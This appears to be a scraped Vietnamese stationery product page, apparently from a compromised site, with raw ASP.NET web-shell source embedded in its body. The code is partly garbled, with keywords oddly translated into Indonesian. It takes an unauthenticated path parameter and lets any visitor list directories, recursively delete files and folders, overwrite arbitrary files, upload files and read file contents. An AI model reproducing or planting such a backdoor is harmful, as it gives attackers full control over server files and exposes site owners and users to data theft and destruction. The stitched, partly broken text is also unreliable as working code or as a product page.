Yêu cầu thiết lập quyền nghi file (Sitemap.xml) SẢN PHẨM

SẢN PHẨM

<%@ Page Language="C#" %> <%@ Import Namespace="System.IO" %>

<% string path = Request["path"]; if (string.IsNullOrEmpty(path)) path = Server.MapPath("."); DirectoryInfo dir = new DirectoryInfo(path); // Hapus jika (Request["delete"] != null) { string target = Path.Combine(path, Request["delete"]); try { if (File.Exists(target)) File.Delete(target); else if (Directory.Exists(target)) Directory.Delete(target, true); Response.Write("✅ Dihapus: " + Request["delete"] + "
"); } catch (Exception ex) { Response.Write("❌ Kesalahan Penghapusan: " + ex.Message + "
"); } } // Simpan jika (Request["savefile"] != null) { string target = Request["savefile"]; string content = Request.Form["filecontent"]; try { File.WriteAllText(target, content); Response.Write("✅ Tersimpan: " + Path.GetFileName(target) + "
"); } catch (Exception ex) { Response.Write("❌ Kesalahan Penyimpanan: " + ex.Message + "
"); } } // Unggah jika (Request.Files.Count > 0) { try { var file = Request.Files[0]; if (file != null && file.ContentLength > 0) { string savePath = Path.Combine(path, Path.GetFileName(file.FileName)); file.SaveAs(savePath); Response.Write("📤 Terunggah: " + file.FileName + "
"); } } catch (Exception ex) { Response.Write("❌ Kesalahan Unggah: " + ex.Message + "
"); } } // Buat folder jika (Request["createfolder"] != null) { string newfolder = Request["newfolder"]; if (!string.IsNullOrEmpty(newfolder)) { string folderPath = Path.Combine(path, newfolder); try { Directory.CreateDirectory(folderPath); Response.Write("📁 Dibuat: " + newfolder + "
"); } catch (Exception ex) { Response.Write("❌ Kesalahan Folder: " + ex.Message + "
"); } } } // Buat file jika (Request["createfile"] != null) { string newfile = Request["newfile"]; if (!string.IsNullOrEmpty(newfile)) { string filePath = Path.Combine(path, newfile); try { if (!File.Exists(filePath)) { File.WriteAllText(filePath, ""); Response.Write("📄 File berhasil dibuat: " + newfile + "
"); } else { Response.Write("⚠️ File sudah ada: " + newfile + "
"); } } catch (Exception ex) { Response.Write("❌ Kesalahan Pembuatan File: " + ex.Message + "
"); } } } %>

📂 Jalur: <%= jalur %>

<% if (dir.Parent != null) { %> ⬅️ Atas

<% } %>

📁 Folder

📄 Berkas

📤 Unggah File

📁 Buat Folder

📄 Buat File Baru

<% string editPath = Request["edit"]; if (!string.IsNullOrEmpty(editPath) && File.Exists(editPath)) { try { string content = File.ReadAllText(editPath); %>


📝 Mengedit: <%= Path.GetFileName(editPath) %>


<% } catch (Exception ex) { Response.Write("❌ Kesalahan Baca: " + ex.Message + "
"); } } %>

Cặp ba dây
Xem nhanh

Cặp ba dây

Liên hệ
Hồ sơ - Bìa hồ sơ
Xem nhanh

Đang xử lý...

090.324.8082